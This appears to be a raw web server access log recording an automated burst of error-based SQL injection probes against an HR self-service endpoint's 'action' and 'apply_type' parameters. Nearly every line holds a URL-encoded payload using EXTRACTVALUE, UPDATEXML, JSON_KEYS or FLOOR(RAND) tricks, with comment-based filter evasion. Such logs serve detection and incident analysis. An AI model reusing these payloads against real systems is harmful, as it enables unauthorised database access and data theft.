100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x42393979%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3562506e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x7465614f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3765304c%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x7465614f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3765304c%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4b526156%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x654b6376%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4b526156%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x654b6376%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x51484467%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31706f35%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x51484467%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31706f35%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6b676c68%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76666e51%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6b676c68%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76666e51%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x41313834%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4938576a%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x41313834%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4938576a%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x7a4a4a67%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a524e68%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x7a4a4a67%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a524e68%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x457a4341%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x724a3157%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x457a4341%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x724a3157%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x50776c6d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33597835%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x50776c6d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33597835%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x44354a66%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e416a51%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x44354a66%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e416a51%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4a4f6b76%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58397956%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4a4f6b76%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58397956%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x774e3841%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b4e7555%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x774e3841%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b4e7555%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x50646247%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66365537%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x50646247%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66365537%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6c6a5830%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7268467a%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6c6a5830%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7268467a%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4f48676c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3068726d%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4f48676c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3068726d%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x596f6d72%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x654b4469%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x596f6d72%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x654b4469%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5a73304d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f6c5667%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5a73304d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f6c5667%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x41476657%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46515a55%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x41476657%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46515a55%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x677a4e79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71366134%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:17 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x677a4e79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71366134%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
